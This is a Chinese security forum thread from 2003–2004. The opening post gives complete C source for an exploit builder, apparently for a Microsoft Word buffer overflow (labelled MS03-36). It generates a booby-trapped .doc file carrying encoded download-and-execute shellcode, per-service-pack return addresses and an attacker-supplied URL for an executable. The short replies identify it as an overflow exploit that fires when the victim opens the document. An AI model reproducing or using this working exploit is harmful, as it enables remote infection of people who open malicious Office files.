|
![]() | 作者: afan271314 [afan271314]
![]() |
登录 |
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> #pragma comment(lib,"ws2_32") #define JUSTROCK "2bad.doc" #define EIP_OFFSET 0x5bb #define SHELL_OFFSET 0x5d7 char shellcode[] = //download and execute shellcode by jeno@vip.371.net "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x3c\x01\x80\x34\x0B\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x34\x99\x99\x99\xC3\x12\x6B\xAA" "\x59\x35\xA4\x01\x99\x99\x99\xEC\x6F\x18\x75\x51\x99\x99\x99\x12" "\x6D\x10\xCF\xBD\x71\x0C\x99\x99\x99\xAA\x42\x10\x9F\x66\xAF\xF1" "\x17\xD7\x97\x75\x71\x34\x99\x99\x99\x10\xDF\x91\xF1\xF5\xF5\x99" "\x99\xF1\xF6\xF7\xB7\xFD\xF1\xEC\xEB\xF5\xF4\xCD\x66\xCF\x91\x10" "\xDF\x9D\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x11\x99\x99\x99\x10\xDF" "\x95\x66\xAF\xF1\x01\x67\x13\x97\x71\xE0\x99\x99\x99\x10\xDF\x8D" "\x66\xAF\xF1\xBC\x29\x66\x5B\x71\xF3\x99\x99\x99\x10\xDF\x81\x66" "\xEF\x9D\xF1\xAF\x83\xB6\xE9\x71\xC3\x99\x99\x99\x10\xDF\x89\xF3" "\xFC\xF1\xEA\xB7\xFC\xE1\x10\xFF\x85\x66\xEF\x85\x66\xCF\x81\xAA" "\x50\xC8\xC8\x66\xEF\x85\x66\xEF\xBD\xC8\x66\xCF\x89\xAA\x50\xC8" "\x66\xEF\x85\x66\xCF\x8D\x66\xCF\x95\x70\x19\x99\x99\x99\xCC\xCF" "\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12\xE9\x85" "\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99\x99\x12" "\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC" "\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A" "\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED" "\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3" "\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A" "\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99\x71\x50" "\x67\x66\x66" //"http://127.0.0.1/b.exe" //"\x98" ; //I remarked this, so I can appoint URL myself.... // you may change this shellcode. void main(int argc, char**argv) { if(argc != 4) { printf("MS0336.........By N.E.V.E.R at Ada Lab\n\n"); printf(" Man, use %s <outfile> <SP> <EXE URL>...\n\n",argv[0]); printf(" Work well when PC is Win2K+SP3+Office2K :->\n"); printf(" 0: Win2K + SP0 [use 0xXXXXXXXX]\n"); printf(" 1: Win2K + SP1 [use 0xXXXXXXXX]\n"); printf(" 2: Win2K + SP2 [use 0xXXXXXXXX]\n"); printf(" 3: Win2K + SP3 [use 0x77e629e3]\n"); printf(" 4: Win2K + SP4 [use 0x77e1c256]\n\n"); printf("e.g. %s topsecret.doc 4 );]http://www.hehe.net/wokao.exe\n",argv[0]); return; } FILE *fp1,*fp2; if((fp1 = fopen(JUSTROCK,"rb+"))==NULL||(fp2 = fopen(argv[1],"wb+"))==NULL) { printf("Where is my .doc?"); return; } for(int i = 0; i < EIP_OFFSET; i++) fputc(fgetc(fp1),fp2); switch(atoi(argv[2])) { case 0: fwrite("", sizeof(char), 4, fp2); break; case 1: fwrite("", sizeof(char), 4, fp2); break; case 2: fwrite("", sizeof(char), 4, fp2); break; case 3: fwrite("\xE3\x29\xE6\x77", sizeof(char), 4, fp2); break; case 4: fwrite("\x56\xC2\xE1\x77", sizeof(char), 4, fp2); break; default: fwrite("", sizeof(char), 4, fp2); break; } for(i = EIP_OFFSET + 4; i < SHELL_OFFSET; i++) fputc(0x90,fp2); fwrite(shellcode, sizeof(char), strlen(shellcode), fp2); fwrite(argv[3],sizeof(char),strlen(argv[3]),fp2); fwrite("\x98",sizeof(char),1,fp2); fclose(fp1); fclose(fp2); printf("done..."); 原标题:请286给分析一下 [此贴被 286(unique) 在 01月13日09时00分 编辑过] |
地主 发表时间: 03-12-24 14:14 |
![]() | 回复: cyshaoping [cyshaoping] ![]() |
登录 |
要分析什么? |
B1层 发表时间: 03-12-24 16:35 |
![]() | 回复: 286 [unique] ![]() |
登录 |
缓冲区溢出?![]() ![]() |
B2层 发表时间: 03-12-24 17:17 |
![]() | 回复: afan271314 [afan271314] ![]() |
登录 |
强![]() ![]() ![]() [此贴被 真爱有限(afan271314) 在 12月24日20时07分 编辑过] |
B3层 发表时间: 03-12-24 20:04 |
![]() | 回复: kert_t8 [kert_t8] ![]() |
登录 |
向286学习啊 |
B4层 发表时间: 03-12-24 21:24 |
![]() | 回复: ceo_8008 [ceo_8008] ![]() |
登录 |
286是一看你的问题就想8成是溢出了![]() |
B5层 发表时间: 03-12-24 22:20 |
![]() | 回复: kert_t8 [kert_t8] ![]() |
登录 |
286无法分析这个问题,执行分析程序的时候缓冲区溢出了 |
B6层 发表时间: 03-12-24 22:27 |
![]() | 回复: wozuihei [wozuihei] ![]() |
登录 |
哈哈。268真叼啊 啥时候有空教我几招哦 为中国扫除几个计算机盲 |
B7层 发表时间: 04-01-12 18:51 |
![]() | 回复: tabris17 [tabris17] ![]() |
登录 |
好像是那个word处理xx缓冲溢出漏洞吧,在“黑客防线”上看到过,这应该就是那个exploit了。 生成一个.doc文件,在target上打开就可以溢出 |
B8层 发表时间: 04-01-12 19:51 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号